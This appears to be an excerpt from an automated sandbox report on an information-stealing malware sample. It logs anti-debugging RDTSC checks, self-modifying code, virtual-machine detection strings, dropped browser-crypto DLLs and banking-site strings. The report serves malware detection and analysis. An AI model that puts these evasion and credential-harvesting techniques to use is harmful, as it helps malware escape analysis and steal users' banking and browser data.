Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0A1F second address: 4BF0AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 pushfd 0x00000007 jmp 00007F742CC44217h 0x0000000c adc ecx, 4EA0A50Eh 0x00000012 jmp 00007F742CC44219h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test byte ptr [77436968h], 00000002h 0x00000022 jmp 00007F742CC4420Eh 0x00000027 jne 00007F749F3F9B47h 0x0000002d pushad 0x0000002e jmp 00007F742CC4420Eh 0x00000033 mov esi, 7E644C91h 0x00000038 popad 0x00000039 mov edx, dword ptr [ebp+0Ch] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F742CC44213h 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0AA8 second address: 4BF0AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0AC0 second address: 4BF0AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0AC4 second address: 4BF0BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F742CEB81CCh 0x0000000e mov dword ptr [esp], ebx 0x00000011 jmp 00007F742CEB81D0h 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 jmp 00007F742CEB81CEh 0x0000001d mov ebx, esi 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F742CEB81D7h 0x00000026 xchg eax, ebx 0x00000027 jmp 00007F742CEB81D6h 0x0000002c push dword ptr [ebp+14h] 0x0000002f pushad 0x00000030 call 00007F742CEB81CEh 0x00000035 movzx esi, dx 0x00000038 pop edx 0x00000039 jmp 00007F742CEB81CCh 0x0000003e popad 0x0000003f push dword ptr [ebp+10h] 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007F742CEB81CDh 0x0000004b sub ecx, 123DF036h 0x00000051 jmp 00007F742CEB81D1h 0x00000056 popfd 0x00000057 pushfd 0x00000058 jmp 00007F742CEB81D0h 0x0000005d jmp 00007F742CEB81D5h 0x00000062 popfd 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0C2C second address: 4BF0C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F742CC4420Ch 0x00000012 jmp 00007F742CC44215h 0x00000017 popfd 0x00000018 jmp 00007F742CC44210h 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F742CC44217h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0C92 second address: 4BF0C98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46DC2F second address: 46DC55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F742CC44206h 0x00000014 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Special instruction interceptor: First address: 2BCAC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Special instruction interceptor: First address: 464043 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Special instruction interceptor: First address: 46962A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Special instruction interceptor: First address: 2BCA3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Special instruction interceptor: First address: 4EF68F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 28CAC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 434043 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 43962A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 28CA3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 4BF68F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

Code function: 8_2_04C70C55 rdtsc

8_2_04C70C55

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 3583	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1759	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1189	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1098	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 353	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 548	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Window / User API: threadDelayed 657	Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe TID: 3640	Thread sleep count: 189 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 1976	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 2784	Thread sleep count: 1189 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 2784	Thread sleep time: -2379189s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 2156	Thread sleep count: 1098 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 2156	Thread sleep time: -2197098s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6912	Thread sleep count: 353 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6912	Thread sleep time: -10590000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 7260	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 7128	Thread sleep count: 548 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 7128	Thread sleep time: -1096548s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe TID: 7360	Thread sleep count: 657 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe TID: 7360	Thread sleep count: 275 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C7DC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C7DC930

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001634000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: KKEBKJJD.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: KKEBKJJD.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: KKEBKJJD.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explortu.exe, explortu.exe, 0000000B.00000002.2486095607.0000000000411000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000F.00000002.2703298636.0000000000411000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 00000011.00000002.3310914356.0000000000411000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: KKEBKJJD.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: KKEBKJJD.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: KKEBKJJD.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware_O
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.000000000106C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: KKEBKJJD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
